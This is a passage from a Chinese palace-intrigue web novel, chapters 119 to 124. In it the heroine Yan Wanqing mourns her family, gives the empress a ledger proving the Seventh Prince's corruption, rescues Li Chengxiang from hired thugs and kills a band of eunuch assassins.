宋化虚看着她憔悴的样子,叹了一口气:“以你的才智,倘若没有师父,这次也是能够让你父兄顺利进门的,何须再谢谢师父。” “那要多费些功夫了,此番师父出面,圣上定会有微词,给师父添麻烦了。”燕晚清说道。 宋化虚摇头:“你父亲与老道我也是情同手足,于情于理,老道也是要出手相助的,更何况你还是老道的徒儿,徒儿有难,当师父的怎可不帮。” 说话期间,灵堂已经布置完毕。 宋化虚面容悲痛,朝着灵堂走去。 他看着孙青莲说道:“夫人节哀。”他从丫鬟手中接过长香,祭奠。 “夫人切勿沉浸在悲痛之中,眼下镇国府大难临头,府内的公子小姐还是年幼,夫人身上的担子可不轻松啊。” 孙青莲点了点头,她双眼红肿,明显是刚刚背着人偷偷的哭了。 宋化虚见状又长叹一口气。 “臣妇送送国师大人。”孙青莲说道。 两个人走出了灵堂,燕晚清还呆在院子里,她抬头看着灰暗的天空,伸出手。 一片冰凉落在她温热的掌心里。 “下雪了。”燕晚清说道。 孙青莲抬头看去,果然看见一片片雪花从天空中落下。 宋化虚眼中震惊不已:“竟然是六月飞雪!” 六月飞雪,定是天大的冤情啊。 雪花在京都上空洋洋洒洒的落下,每家每户的百姓都出门抬头看向天空。 红墙之内的皇后张岚依,隔着窗户伸出了手:“……老天爷落泪了。” 她怔怔出神,看着窗外的小雪逐渐演变成了大雪,后来纷纷扬扬直接盖住了整个皇都。 而御书房的皇帝一脸阴沉,地上跪着一众臣子,为首的便是萧鸿深。 “六月飞雪!六月飞雪啊!你最好是有确凿的证据,不然朕让你下去给镇国公赔罪!”皇帝抄起桌子上的奏折,悉数丢在了地上。 “都给朕滚出去!” 萧鸿深等人忙不迭的从宫内走了出来。 看着来时还干干净净的路上,此刻已经覆盖上了一层积雪。 身后的大臣们窃窃私语,惶惶不安。 萧鸿深冷着脸,一脸阴翳。 六月飞雪又如何? 他萧鸿深想要做的事情,便从来都要做成的。 成大事者,谁的脚下不是白骨森森,血流成河! 不过就是区区一个镇国府,他就不信就这般难以啃下! 第一百一十九章 他要的,都得幻灭 守灵。 孙青莲悲伤过度熬了两天之后,直接晕倒在了灵堂里。 燕晚清和一众姊妹才知道,母亲也不是如面上那般坚强。 她心里的苦痛比他们更为汹涌。 孙青莲倒下了,燕晚清身为镇国府的嫡长女,以自己纤细的肩膀扛下了所有,白天她迎宾接客祭拜亡灵,晚上便守着灵堂,今夜她依然固执的守在这里。 燕红昭和燕凌珍心疼坏了。 “阿姐,你回去歇息吧,这里有我们。” 燕晚清摇了摇头:“没事,我还撑得住。” 燕凌珍看着她眼底的铁青,和燕红昭相视一眼,只看见燕红昭走到了燕晚清身后,抬起手刀就要劈晕她,却没有想到上一秒还在点纸的燕晚清,下一秒抬手便格挡住了燕红昭的手刃。 “阿姐!”燕红昭见她接下,心里咯噔一声。 燕晚清看着五妹六妹,叹了一口气:“你们回去休息吧,阿姐真的没事。” “这……”燕凌珍迟疑。 燕晚清认真的看着他们:“阿姐想和父亲单独待一会儿。” 这下燕凌珍和燕红昭便再也不好说些什么了。 等到她们俩都走了,燕晚清便让丫鬟们也离开了,偌大的灵堂里便只剩下她一个人。 夜风萧瑟,燕晚清捡起地上的垫子放到了棺材旁边,背靠着棺材,周围烛光闪烁,万籁俱寂…… …… 清晨的天气有些冷,前些时日的积雪已经消融,燕晚清背靠着棺木突然惊醒。 此时空气中还夹杂着烛火熄灭残留的味道,她起身拿了新的白蜡,然后换上,点燃。 燕凌珍端着茶点从外面跑进来,刚刚她已经来过一趟了,见阿姐昏睡过去,便跑去了厨房。 “阿姐,给。”燕凌珍拿着茶点递给燕晚清。 燕晚清没有拒绝,放在唇边咬了一口。 眼下的她吃不出什么味道,但是不能不吃。 “再有一日,父兄们便要下葬了,不能出现任何幺蛾子。”燕晚清沙哑的嗓音缓缓的说道,燕凌珍点点头,她的心理很清楚明白。 这几日十分的安静,不管是七皇子萧鸿深还是燕安都没有再出现过。 但是燕晚清深知,这是暴风雨之前的宁静。 他们这群人都在竭尽全力寻找燕家通敌叛国的证据。 或者说……制造。 无非就是时机的问题。 一旦皇帝信了,那么上一世的悲剧又将重演。 在父兄下葬之前,她不希望双方发生干戈。 至少,别弄脏了她父兄的黄泉路。 “今日我要出去一趟。”燕晚清跟燕凌珍说着:“母亲要是问起来,你就提一嘴。” 燕晚清回屋子洗漱了一番,又换了一身干净的衣服。 今日她约了皇后在宫外见面,为了不引人注意,她还易了容。 跟着掌柜的上了二楼之后,皇后张岚依已经在等候多时了。 燕晚清看见她今日穿了一身黑衣,整个笼罩在肃穆之中,很是少见。 皇后见燕晚清上来了,便给她倒了一杯热茶。 “这件事情比较紧急,所以昨夜才会让人给你传消息。”张岚依开口说道,眼神中也是十分疲惫。 燕晚清蹙眉:“可是宫中发生了什么事情?” 张岚依点点头:“你猜的没有错,萧鸿深确实开始有动作了,本宫发现宫中的御林军就在这几日被陆陆续续的换成了新面孔,应该是都换成了他自己的人了。” “眼下我父亲的事情还没有查清楚,他不会这么早就逼宫的,对他而言没有任何好处。”燕晚清并没有收到柴右的消息,依靠着自己对于萧鸿深的了解以及前世的记忆,眼下还不是他上位的最佳时机。 更何况萧鸿深身后的人迟迟没有露出水面,燕晚清也不会让他这么容易就掌握大权的。 张岚依听到燕晚清的话,心里松快了些。 “昨夜陛下差点就——”她用手捂着嘴说出一个字,燕晚清眼中闪过震惊:“现在应该没事吧?” “昨夜连夜急招那老道过来,才给救回来的。”张岚依唏嘘道:“要不是说这个老道还是有点本事的。” 突然想到燕晚清是宋化虚的徒弟,张岚依说着说着表情有些不自然了。 燕晚清看着手中的茶水,她突然开口道:“记得在南山,娘娘曾经说过,国师去过一趟雁门关。” 张岚依点点头:“你若是不相信,本宫可以把亲信交给你审问,他是一路在后面跟着国师过去的,但是不能跟的太远,具体他做了什么,他不是很清楚。” 燕晚清了然,宋化虚武功高强,能够做到一路跟踪不被察觉,已经是不容易。 只是宋化虚去雁门关是为了什么呢? 雁门关这三个字就像是被包裹在面纱之中,面纱之下流淌着的全部都是秘密。 她只觉得指尖冰凉。 “陛下现在身体不适,正在找代理朝政的人,萧鸿深这几日可是殷勤的不得了。”张岚依想想就忍不住要唾弃。 “微臣记得娘娘之前也是代替陛下批阅过奏折的,这几日陛下没有麻烦娘娘吗?” 张岚依说道这个就叹气:“那萧鸿深将陛下的寝宫围的是水泄不通,除了昨天夜里,本宫见了陛下一面,后面就没有见到了。” “这种危急关头,萧鸿深是绝对不允许任何意外发生的。”燕晚清思忖道。 张岚依揉了揉额角:“我们还需要再想办法,倘若弄出了什么传位诏书,再往后可就难了。” 燕晚清点点头:“明日是父亲下葬的日子,萧鸿深一定会出现,微臣会想办法让他带微臣回府,届时希望娘娘抓住这个机会,集结老臣弹劾于他。” “另外娘娘要想尽一切办法,见到陛下。”燕晚清从怀中掏出一个锦囊:“把这个给陛下看,只要他看了,那么萧鸿深的皇帝梦,就会彻底幻灭。” 锦囊里不是别的,正是萧鸿深梦寐以求的账本。 至于为什么会在燕晚清的手里。 这一切还要从南山开始说起。 林家上南山的那一夜,燕晚清便让人直接搜了他的家,在地窖里找到了这十分珍惜的账本,她压根就没有打算让作恶多端的林平之活着下山。 皇后将账本打开,越看越惊心动魄。 “他可真敢啊!” 上面事无巨细的记录着这些年林平之利用职务之便,给萧鸿深洗钱捞金的具体账目,至少懂得账本的人,都能看的清楚明白。 “这么厉害的证据,你为何现在才拿出来?” 张岚依不解。 燕晚清没什么情绪,窗外有橘色的晨光透过窗缝照在了桌子上。 “看他春风得意马蹄急,再告诉他无福消受浅薄命,世事无常,他萧鸿深要的,我燕晚清都不会让他称心如意。” 第一百二十章 姐妹情深,痛下杀手 和皇后分开之后,燕晚清走了一条之前没有走过的路。 这条路人烟稀少,也比较快,但是更难走,需要飞檐走壁,以前的她是决计不会走这条路的,但是现在今非昔比,她的功夫已经回来了。 燕晚清翻过一个墙头,听见墙外传来了嘈杂的声音。 “再过来我就不客气了!” 声音很熟悉。 燕晚清愣了一下,翻身上了屋檐,看到了李呈祥。 她不知道为何一个人落了单,此时手里只有一个菜篮子,在空中无力的挥舞着。 三个逼近她的彪形大汉见她如此表情,露出了猥琐的神情不断的逼近。 “再过来我就真的不客气了,我是说真的!”李呈祥将他们不为所动,将手里的菜篮子直接扔了出去。 那菜篮子里面放着几个白菜,从空中飞过去的弧度,不轻不重的砸在一个壮汉的身上,被他轻轻的一挡便掉在了地上,白菜从篮子里滚了出来,显得十分的可怜。 李呈祥是正儿八经的柔弱女子,平时的手除了针线,便是算盘和账本,今日这菜篮子应该是她拿过最重的东西了。 眼看着手里唯一的武器被丢了出去,而三个彪形大汉依然在不断的逼近,恐惧的泪水在眼眶中积聚不断地顺着脸颊流了下来。 “这丫头哭起来可真俊呐!”壮汉一说道。 李呈祥看着他脸上的刀疤,再看他周身流里流气就想要过来拉扯自己,吓得尖叫出声:“我是李家的大小姐,我很有钱,你们放我一马,我给你们钱。” “谁不知道你是李家的大小姐,就是知道才过来的啊。” “不然你以为我们这么闲?有人花钱我们替他消灾,知道李大小姐有钱,但是我们干这一行是讲信用的。” 壮汉二缓缓说道。 “你跟他说这些干什么?赶紧干完了走人。”壮汉一有些不耐烦的看了看周围,让剩下的那个壮汉把风,紧接着便开始脱衣服。 李呈祥见他这样,脸蛋都开始发青发白了。 都怪她和丫环家丁们走散了,眼下只剩下她落单一个人,在这个破落孤僻的小巷子里,真的是叫天天不应,叫地地不灵了。 “你们要是敢过来,我就一头撞死!”李呈祥发狠说道。 这些大汉听她这样说,一点都不害怕,反倒是哈哈哈笑出声。 “买家说了,你的下场没有人在意,只要我们干完活了,后面她善后。” 能雇人行凶,还以这等龌龊的手段,除了那个人没有别人。 李呈祥将心里的猜测说了出来。 “是不是李家三小姐雇的你们!” 除了她也没有别人了。 这话一说,三个壮汉的表情明显变了。 李呈祥知道自己猜对了。 她自顾自的薄凉一笑:“昔日她坏事做绝做尽,我也没有对她真的做出什么事情,眼下她竟然要对我赶尽杀绝,就为了一个男人哈哈哈哈……好一个姐妹情深啊!好狠的心啊李呈媛!” “不用再和她说这些废话了。”眼看着情况不对,壮汉一面露凶相直接上前抓住李呈祥的胳膊,用力扯到了自己的面前。 李呈祥挣扎不开,眼里的光芒逐渐黯淡下去。 没有人回来救她了…… 难道她真的就要这样被玷污了吗? 那她还不如去死。 就在李呈祥觉得人生无望的时候,抓着她的壮汉突然发出一声惊呼,紧接着抓着她的手就松开了。 李呈祥赶紧往后退去。 “谁!” 三个地痞流氓四处张望,刚刚是分明是有人出手了。 “做什么这么装神弄鬼的,还不赶快现身出来!” 李呈祥心中升起一丝希望,真的有人听到她的祈求,过来救她了。 燕晚清本来是不打算露脸的,但是看到李呈祥的神情,心中有了一丝的不忍。 “三个大男人欺负一个弱女子,算什么英雄好汉,有本事的来跟小爷我对对?” 燕晚清从墙头上一跃而下,站在李呈祥的前面,将她结结实实的挡在了身后。 李呈祥自从燕晚清出来之后,便是眼前一亮。 “你是上次在烟花巷的那个……” 上次帮她从吴城南手里脱身的少年。 竟然这次也出现在自己的面前。 李呈祥心扑通扑通的跳了起来,似乎自己每一次危急关头,这个少年都会出现。 燕晚清朝着三个地痞勾了勾手指,十分挑衅。 正好,这段时间憋了不少气,拿这几个败类撒撒气,解一解她的心里的火气。 燕晚清下手毫不留情,除了没有痛下杀手之外,拳拳见肉,打的三个地痞流氓哭天抢地,哀嚎不断。 等到她撒气了,三个人也已经躺在地上动都不能动了。 李呈祥小心翼翼的伸出手指头去探他们的鼻息。 “放心,死不了。”燕晚清揉了揉手腕,从胸腔内呼出了一口浊气。 真是畅快不少。 武力虽然不好,但是解气。 燕晚清抬脚就要往前走,李呈祥赶紧跟了上去。 “上一次的事情就要跟你说一声谢谢的,没想到你又二次救了我。”李呈祥红着脸,大步跟在了燕晚清的身后一路跑着。 燕晚清听着她的话语,微微蹙眉,站在了原地。 “都是顺手之劳,不必挂在心上,换做是任何一个人,都不会见死不救的。” 李呈祥愣了一下,赶紧说道:“还是要谢谢的,能否告知恩人的姓名住处,他日我也好上门亲自道谢。” “大恩不言谢,李大小姐,后会有期。”燕晚清将李呈祥带到了人流众多的街市上,然后头也不回的翻身越过墙头,消失在了她的面前。 李呈祥张了张嘴,还是没有能够喊的出口。 这时着急忙慌找她的丫鬟家丁们也刚好到了。 见她身上有灰尘,丫鬟赶紧上前帮她拍打:“小姐这是哪儿弄的。” “刚刚遇到了几个地痞。” “啊!”丫环家丁大惊失色:“小姐没事吧?” “没事,来个少年将他们全部打趴下了,你们现在跟我过去,把人全部抓起来带回李府,本小姐有事情要亲自问问李呈媛!” 竟然将这等龌龊的心思冻到了她的脑袋上。 她也不是吃素的。 李呈媛不念姐妹情深,也别怪她手下无情了! 第一百二十一章 给她好好看看,什么是证据 这边李呈祥捉拿了三个地痞流氓,押送着回到了李家,等待李呈媛归来亲自审问她。 可是左等右等都没有等回来人。 “三小姐今日出府可有说去哪儿了?” 李呈祥拉过来家中的丫鬟们来问。 丫鬟们都摇了摇头,只有门房的人说是看见有个富丽堂皇的马车过来接三小姐去湖边了。 “可有看见是谁?” 门房的人摇了摇头:“车帘挡住了,看不真切,眼下时间也不早了,三小姐也该要回来了。” “她最好是快要回来了。”李呈祥捏紧了双手。 余光扫到了地上被五花八绑的三个人,她冷笑一声:“给本小姐把他们看好了,要是弄丢了,拿你们是问。” 李呈祥往自己的院子走去,身边的丫鬟凑上前来在她耳边说道:“这几日大小姐一直在忙外面铺子的事情,三您是不知道,三小姐三天两头的就往外面跑,每天都有不一样的马车过来接她。” “都是你亲眼所见?”李呈祥瞥了她一眼:“你知道的,我最是讨厌在背后嚼人舌根子的人。” 丫鬟忙不迭点头:“奴婢哪里敢蒙骗大小姐啊,府里内外的人都瞧见了,三小姐最近在京都的风评都烂透了,连带着别人家看我们李家的眼色都变了。” “大胆!”李呈祥冷着脸呵斥道,丫鬟立刻意识到自己说错话了,赶紧跪在了地上。 李呈祥冷冷的扫了丫鬟一眼:“你就跪在这里好好反省,也敢非议主子!” 丫鬟自知做错了事情,低下头跪在了原地,李呈祥头也不回的走回了自己的院子。 一直等到了日落西山,门口才传来了马蹄声,李呈媛夹着嗓子的娇笑声在门口显得特别的明显。 只见她走在前面,身后跟着一个男子,因为天色黑了下来,看不是很真切,只是觉得气质非凡,不是一般人。 李呈祥听见她回来了,便赶紧从院子里出来,远远的便看见她的三妹妹正对着一个男子娇羞的笑着。 那个人不是吴城南。 李呈祥确信。 她不是喜欢吴城南么? 怎么现在又勾搭上别的男子了? 为了瞧的更加真切,李呈祥为微微蹙眉上前两步。 只见李呈媛发现男子的衣襟有些褶皱,她红着一张小脸,上前伸手帮他抚平,然后两个人又开始说说笑笑,站在大门前面的过道上,谁也舍不得先提出离开。 “三妹,你在和谁说话?”李呈祥不能任由着李呈媛败坏李家的名声。 她上前两步,沉声喊道。 李呈媛听见是她的声音,眉头上挑些许,闪过一丝讶然,但是很快她便恢复了正常:“姐姐,你今日回来的好早,铺子的账都查完了?” “没查完,带回家来查了。”李呈祥意有所指,视线落在了她身后的男子身上。 那男子面容清俊,眉眼间阴柔,一看便是非富即贵的大人物。 李呈祥越看越心惊。 这是李呈媛又说道:“姐姐,还不快些过来见过七皇子殿下,别失了咱们李家的礼数。” 李呈祥一听心头一跳。 上次她和安平郡主就在七皇子府外淋雨闹了一次,但是他们并没有机会见面,只是李呈媛是从哪里来的机会,将七皇子都邀请到府上来了。 她赶紧上前行礼。 萧鸿深看着李呈祥点点头,抬手让她起身。 然后他转过头看向了李呈媛继续说道:“今日时候不早了,明日再派人过来接李小姐,如此便不叨扰了。” 李呈媛落落大方的行了一个礼,送他出了府门。 等回来的时候,看见李呈祥还在等她,她轻笑道。 “怎么?惊呆了?” 李呈祥面色沉静:“你何时勾搭上的七皇子殿下。” “姐姐,说话要动脑子,说什么勾搭,真难听。”李呈媛抬脚从台阶上下来,路过李呈祥的时候停了下来,她慢条斯理的上下打量了一下李呈祥,然后在她的手腕上看到了包裹的痕迹,唇角的笑意加深。 “看来姐姐今日过得不是很好。” 李呈祥冷下眼:“你可知道你究竟在做什么!你我同父异母,有割舍不掉的血缘关系,你竟然胆大包天对我做出这种事情!” 李呈媛咋舌耸肩:“姐姐,你好好讲话,可不要随便泼脏水啊,妹妹我这几日一直待在七皇子府上,怎么可能会对姐姐你做出什么事情呢?说话要讲证据的。” “证据?”李呈祥看着李呈媛死性不改的样子,心中最后一丝柔软也跟着消散:“你既然要证据,那便给你看看!” 她拍了拍手,喊来了家丁:“去把柴房里的三个人拉过来,给三小姐好好看看,什么是证据!” 听到柴房里关着三个人,李呈媛神色上果然闪过了惊慌,但是她依旧很淡定的站在原地。 但是等到人真的被拉上来的时候,李呈媛终于有点不冷静了。 那三个壮汉一看见李呈媛就开始哭爹喊娘求她救救他们。 李呈媛立马撇清关系:“胡说什么呢,我可不认识你们!你们莫不是大小姐请过来污蔑我的!”说着她直接将脏水往李呈祥身上泼:“姐姐好狠的心,眼看着妹妹最近活出个人的样子了,心里不松快,便想出这种龌龊的手段来对付妹妹!” 说话间,看见李大人从门口往里走,李呈媛赶紧抹着眼泪过去了。 “父亲,求您做主啊!不然女儿真的在家里活不下去了!” 李大人猝不及防被李呈媛给拽住了袖子,微微愣神:“你怎么回来了?七皇子殿下呢。” “七皇子送女儿回来了,现在人刚走呢。”李呈媛说这话的时候,余光挑衅的看着李呈祥。 李呈祥心中大惊,她上前两步:“父亲也知道三妹和七皇子的事情?” “嗯嗯。”李大人点了点头,看见了地上躺着的三个人:“这是什么情况?成何体统!” 他指责的目光直接落在了不远处的李呈祥身上:“为父在朝中处理政事已经很累了,回到家还要面对这种事情,你身为家中的嫡长女能不能稍微替父亲分担分担,你看看你妹妹,还知道在七皇子面前好好表现,替我们李家家争光,再看看你,一天到晚的什么事情都不知道,就知道为了个男人要死要活的!” 这话听在李呈祥的耳朵里,心如刀割。 她皱着眉头听完了李大人说的话。 “父亲你还没有问究竟发生了什么,就这样斥责于女儿……” “我还需要知道发生了什么吗?无非又是你们姐妹俩之间的事情,三天一吵,两天一闹的,为父烦都要烦死了!”李大人极其不耐的吼道。 第一百二十二章 此女子,不敢小觑 “身为李家的嫡长女,姐姐的眼界可要打开,你我都是一家人,要一致对外,帮父亲分担分担才行啊。”李呈媛跟在李大人的后面说道。 李呈祥捏紧了双拳,她面上的表情变化莫测,最终化为了平静。 “女儿知道了,给父亲添麻烦了。” 李大人见李呈祥先一步做出了让步,神色缓和了许多,他冲着李呈祥点了点头:“媛媛跟为父到书房来,有事情要问你。”说着他抬脚朝前走去。 李呈媛没有立刻跟上去,而是站在李呈祥的面前,看着她双拳始终捏的紧紧的,扯开了唇角,笑道:“姐姐,看见没有,这就是男权社会下的女子生活状态,姐姐甘之如饴,妹妹不敢苟同,往后咱们井水不犯河水便是,姐姐愿意跪着,那便永远跪着。” 她说了一堆李呈祥似懂非懂的话,然后扭着腰肢跟上了李大人的脚步。 旁边一声不敢吭的丫鬟,见人都走远了,赶紧上来替自家小姐抱打不平。 “老爷怎么问都不问一句就直接责怪小姐啊……定是三小姐在老爷耳朵边上说了什么坏话。” “够了!”李呈祥冷着脸呵斥:“以后这种话切记少说。” 丫鬟赶紧点头:“是,奴婢知错了。” 看着李呈祥脸色稍微好转一点,丫鬟看着旁边地上的三个男的说道:“那这三个地痞怎么办?” “送官。”李呈祥眼皮子不抬:“他们一定是坏事做多了的恶徒,我这次遇到恩人躲过了一劫,其他那些人就没有我这种好运气了,这些人留在世上也是败类,让家丁们把他们扭去送官。” 至于父亲那边愿不愿意了解她身上究竟发生了什么事情…… 李呈祥现在已经没有了兴趣。 弃我去者,昨日今日不可留。 他现如今愿意听李呈媛的话,那便听着吧。 横竖她李呈祥从小到大都只是靠着自己活下去的。 这样想着,她的心理舒坦了不少。 看着家丁将地痞流氓扭绑着送出门去,李呈祥眼里都是冷光,有些东西不知不觉的改变了。 再说另外一边。 燕晚清耽搁了一些时间,身后就多了几个尾巴。 她踩着屋檐从空中翻越而下,缓缓落在了地面上,那几个尾巴便逼了过来。 “跟这么久了,都累了吧?” 见被发现了,几个人常服男子直接现身。 “安平郡主身手真不错,一路上跟丢了好几次。”说话者压着嗓子说道,却依旧挡不住那股子阴柔的气味。 燕晚清看过去,只见他五官平淡,挑眉道:“你的易容术还是得练练,耳边翘边了。” “比不上郡主心灵手巧。”那人也不生气,乐呵呵的笑道,索性不再压着嗓子了,露出了自己的原声,可不就是上次在小树林刺杀她的那波人。 “真是不是冤家不聚头,你们这么多人,相信今天是一定要取走我的性命了。”燕晚清露出害怕的情绪:“既然这样的话,不如让我死也死个清楚明白,究竟是谁想要要我的性命。” 阴柔男子摇了摇头:“能不能杀郡主,这话可不能太过于绝对,毕竟郡主身边那么多高手,再加上郡主此时武功也恢复了不少,我等也不敢大放厥词,至于郡主想要知道的事情,不如等郡主真的死了,下去问问阎王,便清清楚楚了。” 燕晚清听罢冷哼:“这也不行,那也不行,一个大男人还娘娘腔的姿态,你莫不是宫里的公公?!” 刚刚在巷子里热了身,现在直接拿他们练练手,看看自己的武技有没有精进。 那被骂作公公的男子双眼阴翳死死盯着燕晚清。 燕晚清轻笑:“哦哟,还真的猜对了,宫里的人啊。” 她环顾院子里站着的六个人,都是男子,身形瘦削,蒙着脸,但是眼神中都带着一丝阴柔的气息,站在那边也不似正常男子那般威武。 竟然会是宫里的人。 上次被刺杀之后,她动用了很多势力,唯一没有想到要去往宫里查。 真是得来全不费功夫。 “废话少说,上!”那公公直接下了阴狠的命令,其他几位公公便直接掏出了自己的武器,朝着燕晚清进攻而去! 燕晚清身上没有武器,她随手抄起地上废弃桌子,在空中轮出一个巨大的弧度,将冲上来的众人逼退,趁着这个空隙,她将桌子用力摔在地上,剩下一个桌椅握在手里。 燕晚清握着椅子腿指向他们,唇角都是挑衅的笑。 “来啊,就这?” 几名公公哪里肯受得了这种挑衅,直接冲着燕晚清疯狂进攻,都被她游刃有余的解决。 这下子那阴柔的公公才意识到事情有些不妙。 “你的武功竟然如此高深!”跟之前在小树林遇到的燕晚清身边的人完全都不是一个等级。 燕晚清出手毫不留情扭断一个公公的脖子之后,顺理成章的掠夺过他的武器——一把长剑。 她放在手里掂量了两下。 心里想着比不上自己的青蛇,可惜青蛇已经送给了五妹,往后得再去铁马街找师傅给自己做一把新的趁手的长剑了。 不过这把剑虽然比不上青蛇,但是比桌子腿好用,聊胜于无。 她心里感叹着,嘴上也不闲着,回复那公公的疑问:“不然你以为为何将你们引到了这里?” 她深更半夜不往城里跑,跑到了城郊一出废弃无人的院子里。 “不好!撤!” 公公大喊一声,就想要四下逃散而去。 本以为他们才是狩猎者,却没有想到反而被燕晚清一个人给算计了。 他们想着自己人多势众,却根本没有想到他们几个加起来都不会是一个燕晚清的对手。 “晚了。”燕晚清手中的长剑宛若长了眼睛一般,被她操纵着在空中飞速旋转,视野中仿佛有成千上万的利刃将整座院子全部包围住。 那公公不敢相信自己的眼睛:“难怪……难怪要我们不惜一切代价要了你的命!” 燕晚清这等恐怖的存在,再假以时日等她完全恢复了功力,整个京都还有谁会是她的对手?! 尤其是她还有那般恐怖的谋略! 此女子,不敢小觑! 公公心中大骇,但到底是训练有素的杀手,五个人迅速集结在一起,面对燕晚清的进攻,他们十分吃力的解决着。 燕晚清却在每一次的进攻中,越来越兴奋,原本清冷的眸子里闪烁着炙热的光芒。 “慢,太慢了!就凭你们这样的功力,再过十年也杀不了我燕晚清!” 第一百二十三章 贵妃和大哥,交集 等到红雾否极找到城郊的时候,燕晚清正在抱着干草和柴火往院子中间走。 “主子!”红雾着急忙慌的上前查看她身上的情况,见她脸颊上有血,赶紧上手去摸,燕晚清撇开脸躲过,自己用手背擦掉。 “他们的。” 红雾这才看见院子的中间整整齐齐的躺着六个人,全都是一剑封喉。 她愣了一下。 “主子……” “恭喜主子恢复功力,重回巅峰!”否极抢过话茬说道。 他们在城中的时候就注意到有人跟踪着燕晚清,于是他们分别行动去解决,等他们料到这是调虎离山之计的时候,便赶紧往这边赶。 燕晚清将手里的柴火随手丢在了那六具尸体的身上,手伸向否极:“有火折子么?” 否极掏了掏怀中:“没有。” 红雾搜了搜也没有找到。 燕晚清叹了一口气,她捡起地上的长剑,用力在石头上擦过去,竟然凭空掀起一条小火蛇:“走你。” 火蛇落在了干草之上,迅速燃烧起来。 红雾有些不解:“不需要留下尸体寻找线索吗?” 燕晚清看着迅速窜起来的火光,眼底都是高深莫测:“脸已经都毁了,身上有标志性的东西也没有,唯一可以确定的是太监,不过到底是不是障眼法还需要再查查。” “太监?”红雾愣了一下:“属下这就去查证。” 燕晚清淡淡的点了点头。 她将手里沾了血的剑丢在了地上,打了个哈欠,往门口走,一边走一边伸懒腰:“我先回去休息了,明日父兄还要下葬,你们留在这里,确保一切都烧的干干净净。” 今夜的规模远不如上次小树林的刺杀。 兴许是上次重创了他们,一时之间无法再迅速聚集这么多人。 但是能看穿她的易容,并且跟过来,至少说明幕后之人,对她是有过一定的了解的。 会是谁呢? 几次三番的对她下黑手。 燕晚清迎着风朝着都城狂奔而去。 今日她将人引到郊外,本就是想要赶尽杀绝,越少的人知道她武力恢复,她的胜算就越大。 明日父兄下葬,势必要经历一场腥风血雨,她谋算的那些事情,也可以慢慢的收网了。 回到家中已经是夜深。 燕晚清直接去了灵堂,发现大家都没有睡,一大家子全部围在父亲的身边,每个人表情都还算平静。 她没有立即现身。 等了一会儿母亲孙青莲让大家先离开,自己再好好送送父亲。 看着母亲迅速清瘦下来的面容,燕晚清心中弥漫伤痛。 孙青莲双眼含泪点燃了香,然后插在了香灰里。 又拿着帕子将棺木上的尘土擦了擦,细致到每一寸。 “母亲……女儿有话想跟你说。”燕晚清从帷幔后面现身,孙青莲看着她,无声点了点头。 …… 天还未亮。 镇国府的门口就已经聚集了不少百姓,今日是镇国公和燕家一众公子下葬的日子,百姓们自发过来送他们上路。 不过也就仅仅只有百姓罢了。 自从战败的消息传回来,燕家就失去了很多朝中大臣的支持。 再加上皇帝那份不明所以的叛国诏书,此刻朝中昔日好友恨不得有多远躲多远,更别提过来送送镇国公了。 这一切,燕家人对此无话可说。 人情淡薄这件事情,她们看的比谁都淡然。 只是燕晚清没有想到会在家中看见一个不应该出现的人——贵妃孙涟漪。 一身黑色的长袍都遮盖不住她的肚子,整个人看起来极其的圆润。 “表姐。”燕晚清愣了一下:“你不该出现在这里。” 孙涟漪面容憔悴,眼底青紫,宫人们都想要瞒着她,可是如何能瞒得住呢? 天底下没有不透风的墙。 她知道的时候,那天便哭晕了过去。 “昨日已经回了一趟孙家,见到了父亲还有弟弟他们……”孙涟漪眼中闪过了沉痛,她哽咽的继续说道:“今日要下葬了,想来送送……” 孙涟漪有些说不出口,她盯着燕晚清双眼猩红:“来送送……他。” 燕晚清无声侧身过去,给她让了路。 只见孙涟漪捧着自己臃肿的肚子,一步一步的朝着灵堂走去,最终停在了大哥燕黎安的面前。 燕晚清不愿看见这个画面,背过身去,喊着家中的姊妹离开。 她想表姐应该有些话想要最后再和大哥说说。 表姐还没有被选为贵妃的时候,原本是和大哥说了亲的。 但是后来随着皇帝忌惮还有朝堂之上多次对孙将军发难,最终表姐被选做这场政治的牺牲品。 她嫁入宫中的那天,大哥头也不回的去了战场。 两个人至此之后便形同陌路。 一个远在深宫,一个远在军营。 再也没有了交集。 燕晚清站在门外静静的等候,天还未亮的时候,空气中总是流淌着一股子名为怀念的味道,很熟悉,但是也让人很难过。 等到身后的门发出细微的响声,她转过身看见了表姐已经恢复正常。 孙涟漪冲着燕晚清点了点头:“待会儿就要下葬了吧?” “再过两个时辰。” “嗯。”孙涟漪点点头:“本宫知道了,你好好送送他们。” 燕晚清没说话。 孙涟漪双手捧着自己的肚子,有些吃力的站立着:“你送我的荷包很好看,只是上面的花纹绣的还不够清晰,要是有机会,你在本宫生产之前过来,本宫亲自教你。” “……这种小事就不牢贵妃娘娘费心了。”燕晚清眉头微蹙,拒绝。 孙涟漪摇了摇头:“要的,越是这种小事,女孩子家就越发要注意。”她伸出手让身边的宫人扶住,然后回头又看了一眼燕晚清:“就这么说定了啊,往后你出嫁给小侯爷,也是要提前自己绣婚服的。” 她说完话,也不等燕晚清的回复,让宫人搀扶着从后门上了马车。 燕晚清站在门口看着马车缓缓的朝着黎明驶去,她看着清晨的薄雾,怔怔出神。 此时距离镇国公下葬,还有一个半时辰。 镇国府门口来了一帮不速之客。 门人传报说二老爷一身白衣在门口,要求进门祭拜。 “祭拜是假,想要栽赃陷害才是真吧。”燕凌珍毫不留情的直接开口说道。 此时女眷们全部围坐在大厅里。 听着小六说的话,燕晚清耐心细致的擦拭着手里的长剑,没有吭声。 “他根本就不配跪拜父亲!”燕红昭也不同意让燕安进门。 七日前,那燕安行径让人心寒,今日怎么有脸皮进来跪拜的。 “放肆!再怎么说他也是国忠的弟弟,你们这群小丫头片子的二叔……咳咳!”老太太拄着拐杖从门外一歪一歪的走了进来:“他过来送送自己的大哥,有错么?你们凭什么拦着啊咳咳……” 老太太说两句话便咳嗽两声,看起来十分脆弱。 她这些时日病的不清,各种奇珍异宝吊着性命,没成想今日竟然有精神下榻了。 还能开口教训人了。 “还不快打开大门,让安儿进来。”老太太看着孙青莲命令道。 第一百二十四章 错在,不是你的亲生儿子 孙青莲双手交握,放在腿上,整个人恍若一口钟,笔直。 她看见老太太对着自己说话,表情平静:“不行。” “你——”老太太一看被拒绝,当场便发飙了:“国忠是没了,但是镇国府还在,老身还没死呢!你这泼妇想要被休不成!咳咳!再说一遍,你让安儿进来祭拜他大哥!” “不行。”孙青莲又说了一遍:“别说是祭拜了,几月前我便已经说了,燕安连镇国府的门都不配进。” 